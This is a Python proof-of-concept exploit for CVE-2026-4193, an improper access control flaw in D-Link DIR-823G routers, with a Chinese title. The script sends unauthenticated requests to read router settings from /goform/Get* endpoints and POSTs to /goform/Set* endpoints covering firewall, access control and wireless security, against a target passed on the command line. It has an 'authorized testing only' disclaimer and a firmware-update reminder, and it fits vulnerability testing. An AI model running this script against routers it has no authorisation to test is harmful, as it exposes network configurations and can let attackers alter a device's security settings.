D-Link DIR-823G goahead组件访问控制漏洞 (CVE-2026-4193)

#!/usr/bin/env python3 """ CVE-2026-4193 PoC - D-Link DIR-823G Improper Access Control Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import json TARGET = "http://192.168.0.1" # Router default IP def exploit_get_settings(): """Exploit: Get sensitive settings without authentication""" endpoints = [ "/goform/GetDDNSSettings", "/goform/GetDeviceDomainName", "/goform/GetDeviceSettings", "/goform/GetDMZSettings", "/goform/GetFirewallSettings", "/goform/GetGuestNetworkSettings", "/goform/GetLanWanConflictInfo", "/goform/GetLocalMacAddress", "/goform/GetNetworkSettings", "/goform/GetQoSSettings", "/goform/GetRouterInformationSettings", "/goform/GetRouterLanSettings", "/goform/GetWanSettings" ] print("[*] Testing CVE-2026-4193 - Improper Access Control") print("[*] Target:", TARGET) print("-" * 50) for endpoint in endpoints: try: url = TARGET + endpoint response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f" Response: {response.text[:200]}") else: print(f"[-] Protected: {endpoint}") except Exception as e: print(f"[!] Error testing {endpoint}: {e}") def exploit_set_settings(): """Exploit: Modify settings without authentication""" endpoints = [ "/goform/SetAccessCtlList", "/goform/SetAccessCtlSwitch", "/goform/SetDeviceSettings", "/goform/SetGuestWLanSettings", "/goform/SetIPv4FirewallSettings", "/goform/SetNetworkSettings", "/goform/SetWLanRadioSecurity" ] print("\n[*] Testing write access without authentication...") for endpoint in endpoints: try: url = TARGET + endpoint data = {"test": "value"} response = requests.post(url, data=data, timeout=5) if response.status_code in [200, 500]: print(f"[!] Potentially VULNERABLE (write): {endpoint}") print(f" Status: {response.status_code}") except Exception as e: print(f"[!] Error testing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET = sys.argv[1] exploit_get_settings() exploit_set_settings() print("\n[*] Scan complete. If vulnerable, update firmware immediately.")